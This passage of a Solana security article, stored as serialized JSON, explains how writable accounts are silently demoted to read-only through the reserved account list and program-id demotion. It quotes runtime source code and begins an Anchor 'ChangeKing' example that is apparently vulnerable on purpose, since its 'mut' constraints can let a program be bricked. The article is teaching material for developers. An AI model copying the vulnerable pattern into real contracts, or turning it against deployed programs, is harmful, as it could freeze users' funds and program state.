Trap",{"type":23,"tag":24,"props":73585,"children":73586},{},[73587,73589,73594,73596,73601],{"type":28,"value":73588},"On Solana, accounts passed as ",{"type":23,"tag":721,"props":73590,"children":73591},{},[73592],{"type":28,"value":73593},"writable",{"type":28,"value":73595}," in a transaction can be ",{"type":23,"tag":721,"props":73597,"children":73598},{},[73599],{"type":28,"value":73600},"silently downgraded to read-only",{"type":28,"value":73602},". This behavior occurs during message sanitization — even before your program runs.",{"type":23,"tag":24,"props":73604,"children":73605},{},[73606,73608,73615],{"type":28,"value":73607},"Let’s walk through the logic for legacy messages (note: the same rules apply to ",{"type":23,"tag":31,"props":73609,"children":73612},{"href":73610,"rel":73611},"https://github.com/anza-xyz/solana-sdk/blob/master/message/src/versions/v0/loaded.rs#L58-L98",[35],[73613],{"type":28,"value":73614},"MessageV0",{"type":28,"value":73616},", but legacy is simpler to follow):",{"type":23,"tag":304,"props":73618,"children":73620},{"className":2234,"code":73619,"language":2233,"meta":7,"style":7},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/sanitized.rs#L39-L55\nimpl LegacyMessage\u003C'_> {\n pub fn new(message: legacy::Message, reserved_account_keys: &HashSet\u003CPubkey>) -> Self {\n let is_writable_account_cache = message\n .account_keys\n .iter()\n .enumerate()\n .map(|(i, _key)| {\n message.is_writable_index(i)\n && !reserved_account_keys.contains(&message.account_keys[i])\n && !message.demote_program_id(i)\n })\n .collect::\u003CVec\u003C_>>();\n Self {\n message: Cow::Owned(message),\n is_writable_account_cache,\n }\n }\n}\n\n// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/legacy.rs#L642-L644\npub fn demote_program_id(&self, i: usize) -> bool {\n self.is_key_called_as_program(i) && !self.is_upgradeable_loader_present()\n}\n\n",[73621],{"type":23,"tag":94,"props":73622,"children":73623},{"__ignoreMap":7},[73624,73632,73656,73744,73765,73777,73793,73809,73857,73886,73940,73976,73984,74021,74033,74071,74083,74090,74097,74104,74111,74119,74179,74232],{"type":23,"tag":314,"props":73625,"children":73626},{"class":316,"line":317},[73627],{"type":23,"tag":314,"props":73628,"children":73629},{"style":374},[73630],{"type":28,"value":73631},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/sanitized.rs#L39-L55\n",{"type":23,"tag":314,"props":73633,"children":73634},{"class":316,"line":370},[73635,73639,73644,73648,73652],{"type":23,"tag":314,"props":73636,"children":73637},{"style":321},[73638],{"type":28,"value":27441},{"type":23,"tag":314,"props":73640,"children":73641},{"style":2674},[73642],{"type":28,"value":73643}," LegacyMessage",{"type":23,"tag":314,"props":73645,"children":73646},{"style":338},[73647],{"type":28,"value":22160},{"type":23,"tag":314,"props":73649,"children":73650},{"style":2674},[73651],{"type":28,"value":2338},{"type":23,"tag":314,"props":73653,"children":73654},{"style":338},[73655],{"type":28,"value":6536},{"type":23,"tag":314,"props":73657,"children":73658},{"class":316,"line":380},[73659,73663,73667,73671,73675,73679,73683,73688,73692,73697,73701,73706,73710,73714,73719,73723,73727,73731,73735,73740],{"type":23,"tag":314,"props":73660,"children":73661},{"style":321},[73662],{"type":28,"value":20080},{"type":23,"tag":314,"props":73664,"children":73665},{"style":321},[73666],{"type":28,"value":12943},{"type":23,"tag":314,"props":73668,"children":73669},{"style":332},[73670],{"type":28,"value":31180},{"type":23,"tag":314,"props":73672,"children":73673},{"style":338},[73674],{"type":28,"value":341},{"type":23,"tag":314,"props":73676,"children":73677},{"style":360},[73678],{"type":28,"value":67290},{"type":23,"tag":314,"props":73680,"children":73681},{"style":354},[73682],{"type":28,"value":3746},{"type":23,"tag":314,"props":73684,"children":73685},{"style":338},[73686],{"type":28,"value":73687}," legacy",{"type":23,"tag":314,"props":73689,"children":73690},{"style":354},[73691],{"type":28,"value":2737},{"type":23,"tag":314,"props":73693,"children":73694},{"style":2674},[73695],{"type":28,"value":73696},"Message",{"type":23,"tag":314,"props":73698,"children":73699},{"style":338},[73700],{"type":28,"value":778},{"type":23,"tag":314,"props":73702,"children":73703},{"style":360},[73704],{"type":28,"value":73705},"reserved_account_keys",{"type":23,"tag":314,"props":73707,"children":73708},{"style":354},[73709],{"type":28,"value":3746},{"type":23,"tag":314,"props":73711,"children":73712},{"style":354},[73713],{"type":28,"value":1968},{"type":23,"tag":314,"props":73715,"children":73716},{"style":2674},[73717],{"type":28,"value":73718},"HashSet",{"type":23,"tag":314,"props":73720,"children":73721},{"style":338},[73722],{"type":28,"value":5060},{"type":23,"tag":314,"props":73724,"children":73725},{"style":2674},[73726],{"type":28,"value":20635},{"type":23,"tag":314,"props":73728,"children":73729},{"style":338},[73730],{"type":28,"value":19684},{"type":23,"tag":314,"props":73732,"children":73733},{"style":354},[73734],{"type":28,"value":1015},{"type":23,"tag":314,"props":73736,"children":73737},{"style":321},[73738],{"type":28,"value":73739}," Self",{"type":23,"tag":314,"props":73741,"children":73742},{"style":338},[73743],{"type":28,"value":1449},{"type":23,"tag":314,"props":73745,"children":73746},{"class":316,"line":1091},[73747,73751,73756,73760],{"type":23,"tag":314,"props":73748,"children":73749},{"style":321},[73750],{"type":28,"value":2319},{"type":23,"tag":314,"props":73752,"children":73753},{"style":360},[73754],{"type":28,"value":73755}," is_writable_account_cache",{"type":23,"tag":314,"props":73757,"children":73758},{"style":354},[73759],{"type":28,"value":1237},{"type":23,"tag":314,"props":73761,"children":73762},{"style":360},[73763],{"type":28,"value":73764}," message\n",{"type":23,"tag":314,"props":73766,"children":73767},{"class":316,"line":1141},[73768,73772],{"type":23,"tag":314,"props":73769,"children":73770},{"style":354},[73771],{"type":28,"value":2422},{"type":23,"tag":314,"props":73773,"children":73774},{"style":338},[73775],{"type":28,"value":73776},"account_keys\n",{"type":23,"tag":314,"props":73778,"children":73779},{"class":316,"line":1173},[73780,73784,73789],{"type":23,"tag":314,"props":73781,"children":73782},{"style":354},[73783],{"type":28,"value":2422},{"type":23,"tag":314,"props":73785,"children":73786},{"style":332},[73787],{"type":28,"value":73788},"iter",{"type":23,"tag":314,"props":73790,"children":73791},{"style":338},[73792],{"type":28,"value":6990},{"type":23,"tag":314,"props":73794,"children":73795},{"class":316,"line":1208},[73796,73800,73805],{"type":23,"tag":314,"props":73797,"children":73798},{"style":354},[73799],{"type":28,"value":2422},{"type":23,"tag":314,"props":73801,"children":73802},{"style":332},[73803],{"type":28,"value":73804},"enumerate",{"type":23,"tag":314,"props":73806,"children":73807},{"style":338},[73808],{"type":28,"value":6990},{"type":23,"tag":314,"props":73810,"children":73811},{"class":316,"line":1216},[73812,73816,73820,73824,73828,73832,73836,73840,73845,73849,73853],{"type":23,"tag":314,"props":73813,"children":73814},{"style":354},[73815],{"type":28,"value":2422},{"type":23,"tag":314,"props":73817,"children":73818},{"style":332},[73819],{"type":28,"value":66355},{"type":23,"tag":314,"props":73821,"children":73822},{"style":338},[73823],{"type":28,"value":341},{"type":23,"tag":314,"props":73825,"children":73826},{"style":354},[73827],{"type":28,"value":9664},{"type":23,"tag":314,"props":73829,"children":73830},{"style":338},[73831],{"type":28,"value":341},{"type":23,"tag":314,"props":73833,"children":73834},{"style":360},[73835],{"type":28,"value":2993},{"type":23,"tag":314,"props":73837,"children":73838},{"style":338},[73839],{"type":28,"value":778},{"type":23,"tag":314,"props":73841,"children":73842},{"style":360},[73843],{"type":28,"value":73844},"_key",{"type":23,"tag":314,"props":73846,"children":73847},{"style":338},[73848],{"type":28,"value":431},{"type":23,"tag":314,"props":73850,"children":73851},{"style":354},[73852],{"type":28,"value":9664},{"type":23,"tag":314,"props":73854,"children":73855},{"style":338},[73856],{"type":28,"value":1449},{"type":23,"tag":314,"props":73858,"children":73859},{"class":316,"line":1301},[73860,73865,73869,73874,73878,73882],{"type":23,"tag":314,"props":73861,"children":73862},{"style":360},[73863],{"type":28,"value":73864}," message",{"type":23,"tag":314,"props":73866,"children":73867},{"style":354},[73868],{"type":28,"value":282},{"type":23,"tag":314,"props":73870,"children":73871},{"style":332},[73872],{"type":28,"value":73873},"is_writable_index",{"type":23,"tag":314,"props":73875,"children":73876},{"style":338},[73877],{"type":28,"value":341},{"type":23,"tag":314,"props":73879,"children":73880},{"style":360},[73881],{"type":28,"value":2993},{"type":23,"tag":314,"props":73883,"children":73884},{"style":338},[73885],{"type":28,"value":2414},{"type":23,"tag":314,"props":73887,"children":73888},{"class":316,"line":1343},[73889,73894,73898,73902,73906,73911,73915,73919,73923,73927,73932,73936],{"type":23,"tag":314,"props":73890,"children":73891},{"style":354},[73892],{"type":28,"value":73893}," &&",{"type":23,"tag":314,"props":73895,"children":73896},{"style":354},[73897],{"type":28,"value":12112},{"type":23,"tag":314,"props":73899,"children":73900},{"style":360},[73901],{"type":28,"value":73705},{"type":23,"tag":314,"props":73903,"children":73904},{"style":354},[73905],{"type":28,"value":282},{"type":23,"tag":314,"props":73907,"children":73908},{"style":332},[73909],{"type":28,"value":73910},"contains",{"type":23,"tag":314,"props":73912,"children":73913},{"style":338},[73914],{"type":28,"value":341},{"type":23,"tag":314,"props":73916,"children":73917},{"style":354},[73918],{"type":28,"value":1833},{"type":23,"tag":314,"props":73920,"children":73921},{"style":360},[73922],{"type":28,"value":67290},{"type":23,"tag":314,"props":73924,"children":73925},{"style":354},[73926],{"type":28,"value":282},{"type":23,"tag":314,"props":73928,"children":73929},{"style":338},[73930],{"type":28,"value":73931},"account_keys[",{"type":23,"tag":314,"props":73933,"children":73934},{"style":360},[73935],{"type":28,"value":2993},{"type":23,"tag":314,"props":73937,"children":73938},{"style":338},[73939],{"type":28,"value":54691},{"type":23,"tag":314,"props":73941,"children":73942},{"class":316,"line":1351},[73943,73947,73951,73955,73959,73964,73968,73972],{"type":23,"tag":314,"props":73944,"children":73945},{"style":354},[73946],{"type":28,"value":73893},{"type":23,"tag":314,"props":73948,"children":73949},{"style":354},[73950],{"type":28,"value":12112},{"type":23,"tag":314,"props":73952,"children":73953},{"style":360},[73954],{"type":28,"value":67290},{"type":23,"tag":314,"props":73956,"children":73957},{"style":354},[73958],{"type":28,"value":282},{"type":23,"tag":314,"props":73960,"children":73961},{"style":332},[73962],{"type":28,"value":73963},"demote_program_id",{"type":23,"tag":314,"props":73965,"children":73966},{"style":338},[73967],{"type":28,"value":341},{"type":23,"tag":314,"props":73969,"children":73970},{"style":360},[73971],{"type":28,"value":2993},{"type":23,"tag":314,"props":73973,"children":73974},{"style":338},[73975],{"type":28,"value":2414},{"type":23,"tag":314,"props":73977,"children":73978},{"class":316,"line":1387},[73979],{"type":23,"tag":314,"props":73980,"children":73981},{"style":338},[73982],{"type":28,"value":73983}," })\n",{"type":23,"tag":314,"props":73985,"children":73986},{"class":316,"line":1422},[73987,73991,73996,74000,74004,74008,74012,74016],{"type":23,"tag":314,"props":73988,"children":73989},{"style":354},[73990],{"type":28,"value":2422},{"type":23,"tag":314,"props":73992,"children":73993},{"style":332},[73994],{"type":28,"value":73995},"collect",{"type":23,"tag":314,"props":73997,"children":73998},{"style":354},[73999],{"type":28,"value":2737},{"type":23,"tag":314,"props":74001,"children":74002},{"style":338},[74003],{"type":28,"value":5060},{"type":23,"tag":314,"props":74005,"children":74006},{"style":2674},[74007],{"type":28,"value":16450},{"type":23,"tag":314,"props":74009,"children":74010},{"style":338},[74011],{"type":28,"value":5060},{"type":23,"tag":314,"props":74013,"children":74014},{"style":360},[74015],{"type":28,"value":2338},{"type":23,"tag":314,"props":74017,"children":74018},{"style":338},[74019],{"type":28,"value":74020},">>();\n",{"type":23,"tag":314,"props":74022,"children":74023},{"class":316,"line":1430},[74024,74029],{"type":23,"tag":314,"props":74025,"children":74026},{"style":321},[74027],{"type":28,"value":74028}," Self",{"type":23,"tag":314,"props":74030,"children":74031},{"style":338},[74032],{"type":28,"value":1449},{"type":23,"tag":314,"props":74034,"children":74035},{"class":316,"line":1452},[74036,74041,74045,74050,74054,74059,74063,74067],{"type":23,"tag":314,"props":74037,"children":74038},{"style":360},[74039],{"type":28,"value":74040}," message",{"type":23,"tag":314,"props":74042,"children":74043},{"style":354},[74044],{"type":28,"value":3746},{"type":23,"tag":314,"props":74046,"children":74047},{"style":2674},[74048],{"type":28,"value":74049}," Cow",{"type":23,"tag":314,"props":74051,"children":74052},{"style":354},[74053],{"type":28,"value":2737},{"type":23,"tag":314,"props":74055,"children":74056},{"style":332},[74057],{"type":28,"value":74058},"Owned",{"type":23,"tag":314,"props":74060,"children":74061},{"style":338},[74062],{"type":28,"value":341},{"type":23,"tag":314,"props":74064,"children":74065},{"style":360},[74066],{"type":28,"value":67290},{"type":23,"tag":314,"props":74068,"children":74069},{"style":338},[74070],{"type":28,"value":5992},{"type":23,"tag":314,"props":74072,"children":74073},{"class":316,"line":1497},[74074,74079],{"type":23,"tag":314,"props":74075,"children":74076},{"style":360},[74077],{"type":28,"value":74078}," is_writable_account_cache",{"type":23,"tag":314,"props":74080,"children":74081},{"style":338},[74082],{"type":28,"value":1870},{"type":23,"tag":314,"props":74084,"children":74085},{"class":316,"line":1539},[74086],{"type":23,"tag":314,"props":74087,"children":74088},{"style":338},[74089],{"type":28,"value":2602},{"type":23,"tag":314,"props":74091,"children":74092},{"class":316,"line":1548},[74093],{"type":23,"tag":314,"props":74094,"children":74095},{"style":338},[74096],{"type":28,"value":2610},{"type":23,"tag":314,"props":74098,"children":74099},{"class":316,"line":1584},[74100],{"type":23,"tag":314,"props":74101,"children":74102},{"style":338},[74103],{"type":28,"value":386},{"type":23,"tag":314,"props":74105,"children":74106},{"class":316,"line":1617},[74107],{"type":23,"tag":314,"props":74108,"children":74109},{"emptyLinePlaceholder":18},[74110],{"type":28,"value":1088},{"type":23,"tag":314,"props":74112,"children":74113},{"class":316,"line":1625},[74114],{"type":23,"tag":314,"props":74115,"children":74116},{"style":374},[74117],{"type":28,"value":74118},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/legacy.rs#L642-L644\n",{"type":23,"tag":314,"props":74120,"children":74121},{"class":316,"line":1660},[74122,74126,74130,74135,74139,74143,74147,74151,74155,74159,74163,74167,74171,74175],{"type":23,"tag":314,"props":74123,"children":74124},{"style":321},[74125],{"type":28,"value":12938},{"type":23,"tag":314,"props":74127,"children":74128},{"style":321},[74129],{"type":28,"value":12943},{"type":23,"tag":314,"props":74131,"children":74132},{"style":332},[74133],{"type":28,"value":74134}," demote_program_id",{"type":23,"tag":314,"props":74136,"children":74137},{"style":338},[74138],{"type":28,"value":341},{"type":23,"tag":314,"props":74140,"children":74141},{"style":354},[74142],{"type":28,"value":1833},{"type":23,"tag":314,"props":74144,"children":74145},{"style":321},[74146],{"type":28,"value":12961},{"type":23,"tag":314,"props":74148,"children":74149},{"style":338},[74150],{"type":28,"value":778},{"type":23,"tag":314,"props":74152,"children":74153},{"style":360},[74154],{"type":28,"value":2993},{"type":23,"tag":314,"props":74156,"children":74157},{"style":354},[74158],{"type":28,"value":3746},{"type":23,"tag":314,"props":74160,"children":74161},{"style":2674},[74162],{"type":28,"value":12979},{"type":23,"tag":314,"props":74164,"children":74165},{"style":338},[74166],{"type":28,"value":2343},{"type":23,"tag":314,"props":74168,"children":74169},{"style":354},[74170],{"type":28,"value":1015},{"type":23,"tag":314,"props":74172,"children":74173},{"style":2674},[74174],{"type":28,"value":11298},{"type":23,"tag":314,"props":74176,"children":74177},{"style":338},[74178],{"type":28,"value":1449},{"type":23,"tag":314,"props":74180,"children":74181},{"class":316,"line":1708},[74182,74186,74190,74195,74199,74203,74207,74211,74215,74219,74223,74228],{"type":23,"tag":314,"props":74183,"children":74184},{"style":321},[74185],{"type":28,"value":20023},{"type":23,"tag":314,"props":74187,"children":74188},{"style":354},[74189],{"type":28,"value":282},{"type":23,"tag":314,"props":74191,"children":74192},{"style":332},[74193],{"type":28,"value":74194},"is_key_called_as_program",{"type":23,"tag":314,"props":74196,"children":74197},{"style":338},[74198],{"type":28,"value":341},{"type":23,"tag":314,"props":74200,"children":74201},{"style":360},[74202],{"type":28,"value":2993},{"type":23,"tag":314,"props":74204,"children":74205},{"style":338},[74206],{"type":28,"value":2343},{"type":23,"tag":314,"props":74208,"children":74209},{"style":354},[74210],{"type":28,"value":72449},{"type":23,"tag":314,"props":74212,"children":74213},{"style":354},[74214],{"type":28,"value":12112},{"type":23,"tag":314,"props":74216,"children":74217},{"style":321},[74218],{"type":28,"value":12961},{"type":23,"tag":314,"props":74220,"children":74221},{"style":354},[74222],{"type":28,"value":282},{"type":23,"tag":314,"props":74224,"children":74225},{"style":332},[74226],{"type":28,"value":74227},"is_upgradeable_loader_present",{"type":23,"tag":314,"props":74229,"children":74230},{"style":338},[74231],{"type":28,"value":6990},{"type":23,"tag":314,"props":74233,"children":74234},{"class":316,"line":1743},[74235],{"type":23,"tag":314,"props":74236,"children":74237},{"style":338},[74238],{"type":28,"value":386},{"type":23,"tag":24,"props":74240,"children":74241},{},[74242],{"type":28,"value":74243},"As you can see, there are two main causes of write-demotion:",{"type":23,"tag":84,"props":74245,"children":74246},{},[74247,74259],{"type":23,"tag":88,"props":74248,"children":74249},{},[74250,74252],{"type":28,"value":74251},"The account appears in the ",{"type":23,"tag":31,"props":74253,"children":74256},{"href":74254,"rel":74255},"https://github.com/anza-xyz/agave/blob/cd76bf6b8da8ec3739f0df4e087de0e50028b034/reserved-account-keys/src/lib.rs#L142-L182",[35],[74257],{"type":28,"value":74258},"reserved account list",{"type":23,"tag":88,"props":74260,"children":74261},{},[74262],{"type":28,"value":74263},"The account is invoked as a program without the upgradable loader being present in the transaction.",{"type":23,"tag":24,"props":74265,"children":74266},{},[74267],{"type":28,"value":74268},"The second case is generally covered by the executable check implemented previously.",{"type":23,"tag":24,"props":74270,"children":74271},{},[74272],{"type":28,"value":74273},"The first case, however, is far more dangerous — it can silently break your program logic without any obvious cause. Let’s dig deeper into that.",{"type":23,"tag":18130,"props":74275,"children":74277},{"id":74276},"the-reserved-account-list",[74278],{"type":28,"value":74279},"The Reserved Account List",{"type":23,"tag":24,"props":74281,"children":74282},{},[74283,74285,74290],{"type":28,"value":74284},"The Solana runtime maintains a ",{"type":23,"tag":31,"props":74286,"children":74288},{"href":74254,"rel":74287},[35],[74289],{"type":28,"value":74258},{"type":28,"value":74291},", which includes addresses with special semantics — such as built-in programs, precompiles, and sysvars.",{"type":23,"tag":24,"props":74293,"children":74294},{},[74295,74297,74304,74306,74311],{"type":28,"value":74296},"These accounts may initially behave like normal accounts. However, once they become reserved after a ",{"type":23,"tag":31,"props":74298,"children":74301},{"href":74299,"rel":74300},"https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474",[35],[74302],{"type":28,"value":74303},"feature gate is actived",{"type":28,"value":74305},", the runtime will ",{"type":23,"tag":721,"props":74307,"children":74308},{},[74309],{"type":28,"value":74310},"automatically demote them to read-only",{"type":28,"value":74312},", even if the transaction marked them as writable.",{"type":23,"tag":304,"props":74314,"children":74316},{"className":2234,"code":74315,"language":2233,"meta":7,"style":7},"// https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474\n// Update active set of reserved account keys which are not allowed to be write locked\nself.reserved_account_keys = {\n let mut reserved_keys = ReservedAccountKeys::clone(&self.reserved_account_keys);\n reserved_keys.update_active_set(&self.feature_set);\n Arc::new(reserved_keys)\n};\n",[74317],{"type":23,"tag":94,"props":74318,"children":74319},{"__ignoreMap":7},[74320,74328,74336,74360,74414,74452,74481],{"type":23,"tag":314,"props":74321,"children":74322},{"class":316,"line":317},[74323],{"type":23,"tag":314,"props":74324,"children":74325},{"style":374},[74326],{"type":28,"value":74327},"// https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474\n",{"type":23,"tag":314,"props":74329,"children":74330},{"class":316,"line":370},[74331],{"type":23,"tag":314,"props":74332,"children":74333},{"style":374},[74334],{"type":28,"value":74335},"// Update active set of reserved account keys which are not allowed to be write locked\n",{"type":23,"tag":314,"props":74337,"children":74338},{"class":316,"line":380},[74339,74343,74347,74352,74356],{"type":23,"tag":314,"props":74340,"children":74341},{"style":321},[74342],{"type":28,"value":12961},{"type":23,"tag":314,"props":74344,"children":74345},{"style":354},[74346],{"type":28,"value":282},{"type":23,"tag":314,"props":74348,"children":74349},{"style":338},[74350],{"type":28,"value":74351},"reserved_account_keys ",{"type":23,"tag":314,"props":74353,"children":74354},{"style":354},[74355],{"type":28,"value":1102},{"type":23,"tag":314,"props":74357,"children":74358},{"style":338},[74359],{"type":28,"value":1449},{"type":23,"tag":314,"props":74361,"children":74362},{"class":316,"line":1091},[74363,74367,74371,74376,74380,74385,74389,74393,74397,74401,74405,74409],{"type":23,"tag":314,"props":74364,"children":74365},{"style":321},[74366],{"type":28,"value":2254},{"type":23,"tag":314,"props":74368,"children":74369},{"style":321},[74370],{"type":28,"value":2259},{"type":23,"tag":314,"props":74372,"children":74373},{"style":360},[74374],{"type":28,"value":74375}," reserved_keys",{"type":23,"tag":314,"props":74377,"children":74378},{"style":354},[74379],{"type":28,"value":1237},{"type":23,"tag":314,"props":74381,"children":74382},{"style":2674},[74383],{"type":28,"value":74384}," ReservedAccountKeys",{"type":23,"tag":314,"props":74386,"children":74387},{"style":354},[74388],{"type":28,"value":2737},{"type":23,"tag":314,"props":74390,"children":74391},{"style":332},[74392],{"type":28,"value":14662},{"type":23,"tag":314,"props":74394,"children":74395},{"style":338},[74396],{"type":28,"value":341},{"type":23,"tag":314,"props":74398,"children":74399},{"style":354},[74400],{"type":28,"value":1833},{"type":23,"tag":314,"props":74402,"children":74403},{"style":321},[74404],{"type":28,"value":12961},{"type":23,"tag":314,"props":74406,"children":74407},{"style":354},[74408],{"type":28,"value":282},{"type":23,"tag":314,"props":74410,"children":74411},{"style":338},[74412],{"type":28,"value":74413},"reserved_account_keys);\n",{"type":23,"tag":314,"props":74415,"children":74416},{"class":316,"line":1141},[74417,74422,74426,74431,74435,74439,74443,74447],{"type":23,"tag":314,"props":74418,"children":74419},{"style":360},[74420],{"type":28,"value":74421}," reserved_keys",{"type":23,"tag":314,"props":74423,"children":74424},{"style":354},[74425],{"type":28,"value":282},{"type":23,"tag":314,"props":74427,"children":74428},{"style":332},[74429],{"type":28,"value":74430},"update_active_set",{"type":23,"tag":314,"props":74432,"children":74433},{"style":338},[74434],{"type":28,"value":341},{"type":23,"tag":314,"props":74436,"children":74437},{"style":354},[74438],{"type":28,"value":1833},{"type":23,"tag":314,"props":74440,"children":74441},{"style":321},[74442],{"type":28,"value":12961},{"type":23,"tag":314,"props":74444,"children":74445},{"style":354},[74446],{"type":28,"value":282},{"type":23,"tag":314,"props":74448,"children":74449},{"style":338},[74450],{"type":28,"value":74451},"feature_set);\n",{"type":23,"tag":314,"props":74453,"children":74454},{"class":316,"line":1173},[74455,74460,74464,74468,74472,74477],{"type":23,"tag":314,"props":74456,"children":74457},{"style":2674},[74458],{"type":28,"value":74459}," Arc",{"type":23,"tag":314,"props":74461,"children":74462},{"style":354},[74463],{"type":28,"value":2737},{"type":23,"tag":314,"props":74465,"children":74466},{"style":332},[74467],{"type":28,"value":14364},{"type":23,"tag":314,"props":74469,"children":74470},{"style":338},[74471],{"type":28,"value":341},{"type":23,"tag":314,"props":74473,"children":74474},{"style":360},[74475],{"type":28,"value":74476},"reserved_keys",{"type":23,"tag":314,"props":74478,"children":74479},{"style":338},[74480],{"type":28,"value":2414},{"type":23,"tag":314,"props":74482,"children":74483},{"class":316,"line":1208},[74484],{"type":23,"tag":314,"props":74485,"children":74486},{"style":338},[74487],{"type":28,"value":1545},{"type":23,"tag":18130,"props":74489,"children":74491},{"id":74490},"consequences-silent-failures-and-bricked-programs",[74492],{"type":28,"value":74493},"Consequences: Silent Failures and Bricked Programs",{"type":23,"tag":24,"props":74495,"children":74496},{},[74497],{"type":28,"value":74498},"This behavior is especially dangerous when you constrain a program to be writable, for example, with anchor, it's pretty common to use the account(mut) constraint:",{"type":23,"tag":304,"props":74500,"children":74502},{"className":2234,"code":74501,"language":2233,"meta":7,"style":7},"#[derive(Accounts)]\npub struct ChangeKing\u003C'info> {\n #[account(mut)]\n pub throne: Account\u003C'info, Throne>,\n\n #[account(mut, constraint = old_king.key() == throne.king)]\n pub old_king: AccountInfo\u003C'info>,\n\n #[account(mut)]\n pub new_king: AccountInfo\u003C'info>,\n\n #[account(mut)]\n pub payer: Signer\u003C'info>,\n}\n",[74503],{"type":23,"tag":94,"props":74504,"children":74505},{"__ignoreMap":7},[74506,74521,74548,74563,74602,74609,74656,74687,74694,74709,74740,74747,74762,74793],{"type":23,"tag":314,"props":74507,"children":74508},{"class":316,"line":317},[74509,74513,74517],{"type":23,"tag":314,"props":74510,"children":74511},{"style":338},[74512],{"type":28,"value":22075},{"type":23,"tag":314,"props":74514,"children":74515},{"style":2674},[74516],{"type":28,"value":22080},{"type":23,"tag":314,"props":74518,"children":74519},{"style":338},[74520],{"type":28,"value":19496},{"type":23,"tag":314,"props":74522,"children":74523},{"class":316,"line":370},[74524,74528,74532,74536,74540,74544],{"type":23,"tag":314,"props":74525,"children":74526},{"style":321},[74527],{"type":28,"value":12938},{"type":23,"tag":314,"props":74529,"children":74530},{"style":321},[74531],{"type":28,"value":20388},{"type":23,"tag":314,"props":74533,"children":74534},{"style":2674},[74535],{"type":28,"value":70563},{"type":23,"tag":314,"props":74537,"children":74538},{"style":338},[74539],{"type":28,"value":22160},{"type":23,"tag":314,"props":74541,"children":74542},{"style":2674},[74543],{"type":28,"value":22165},{"type":23,"tag":314,"props":74545,"children":74546},{"style":338},[74547],{"type":28,"value":6536},{"type":23,"tag":314,"props":74549,"children":74550},{"class":316,"line":380},[74551,74555,74559],{"type":23,"tag":314,"props":74552,"children":74553},{"style":338},[74554],{"type":28,"value":22367},{"type":23,"tag":314,"props":74556,"children":74557},{"style":321},[74558],{"type":28,"value":2979},{"type":23,"tag":314,"props":74560,"children":74561},{"style":338},[74562],{"type":28,"value":19496},{"type":23,"tag":314,"props":74564,"children":74565},{"class":316,"line":1091},[74566,74570,74574,74578,74582,74586,74590,74594,74598],{"type":23,"tag":314,"props":74567,"children":74568},{"style":321},[74569],{"type":28,"value":20080},{"type":23,"tag":314,"props":74571,"children":74572},{"style":360},[74573],{"type":28,"value":70602},{"type":23,"tag":314,"props":74575,"children":74576},{"style":354},[74577],{"type":28,"value":3746},{"type":23,"tag":314,"props":74579,"children":74580},{"style":2674},[74581],{"type":28,"value":22332},{"type":23,"tag":314,"props":74583,"children":74584},{"style":338},[74585],{"type":28,"value":22160},{"type":23,"tag":314,"props":74587,"children":74588},{"style":2674},[74589],{"type":28,"value":22165},{"type":23,"tag":314,"props":74591,"children":74592},{"style":338},[74593],{"type":28,"value":778},{"type":23,"tag":314,"props":74595,"children":74596},{"style":2674},[74597],{"type":28,"value":70627},{"type":23,"tag":314,"props":74599,"children":74600},{"style":338},[74601],{"type":28,"value":5393},{"type":23,"tag":314,"props":74603,"children":74604},{"class":316,"line":1141},[74605],{"type":23,"tag":314,"props":74606,"children":74607},{"emptyLinePlaceholder":18},[74608],{"type":28,"value":1088},{"type":23,"tag":314,"props":74610,"children":74611},{"class":316,"line":1173},[74612,74616,74620,74624,74628,74632,74636,74640,74644,74648,74652],{"type":23,"tag":314,"props":74613,"children":74614},{"style":338},[74615],{"type":28,"value":22367},{"type":23,"tag":314,"props":74617,"children":74618},{"style":321},[74619],{"type":28,"value":2979},{"type":23,"tag":314,"props":74621,"children":74622},{"style":338},[74623],{"type":28,"value":70662},{"type":23,"tag":314,"props":74625,"children":74626},{"style":354},[74627],{"type":28,"value":1102},{"type":23,"tag":314,"props":74629,"children":74630},{"style":338},[74631],{"type":28,"value":70671},{"type":23,"tag":314,"props":74633,"children":74634},{"style":354},[74635],{"type":28,"value":282},{"type":23,"tag":314,"props":74637,"children":74638},{"style":338},[74639],{"type":28,"value":70680},{"type":23,"tag":314,"props":74641,"children":74642},{"style":354},[74643],{"type":28,"value":7828},{"type":23,"tag":314,"props":74645,"children":74646},{"style":338},[74647],{"type":28,"value":70602},{"type":23,"tag":314,"props":74649,"children":74650},{"style":354},[74651],{"type":28,"value":282},{"type":23,"tag":314,"props":74653,"children":74654},{"style":338},[74655],{"type":28,"value":70697},{"type":23,"tag":314,"props":74657,"children":74658},{"class":316,"line":1208},[74659,74663,74667,74671,74675,74679,74683],{"type":23,"tag":314,"props":74660,"children":74661},{"style":321},[74662],{"type":28,"value":20080},{"type":23,"tag":314,"props":74664,"children":74665},{"style":360},[74666],{"type":28,"value":70671},{"type":23,"tag":314,"props":74668,"children":74669},{"style":354},[74670],{"type":28,"value":3746},{"type":23,"tag":314,"props":74672,"children":74673},{"style":2674},[74674],{"type":28,"value":24644},{"type":23,"tag":314,"props":74676,"children":74677},{"style":338},[74678],{"type":28,"value":22160},{"type":23,"tag":314,"props":74680,"children":74681},{"style":2674},[74682],{"type":28,"value":22165},{"type":23,"tag":314,"props":74684,"children":74685},{"style":338},[74686],{"type":28,"value":5393},{"type":23,"tag":314,"props":74688,"children":74689},{"class":316,"line":1216},[74690],{"type":23,"tag":314,"props":74691,"children":74692},{"emptyLinePlaceholder":18},[74693],{"type":28,"value":1088},{"type":23,"tag":314,"props":74695,"children":74696},{"class":316,"line":1301},[74697,74701,74705],{"type":23,"tag":314,"props":74698,"children":74699},{"style":338},[74700],{"type":28,"value":22367},{"type":23,"tag":314,"props":74702,"children":74703},{"style":321},[74704],{"type":28,"value":2979},{"type":23,"tag":314,"props":74706,"children":74707},{"style":338},[74708],{"type":28,"value":19496},{"type":23,"tag":314,"props":74710,"children":74711},{"class":316,"line":1343},[74712,74716,74720,74724,74728,74732,74736],{"type":23,"tag":314,"props":74713,"children":74714},{"style":321},[747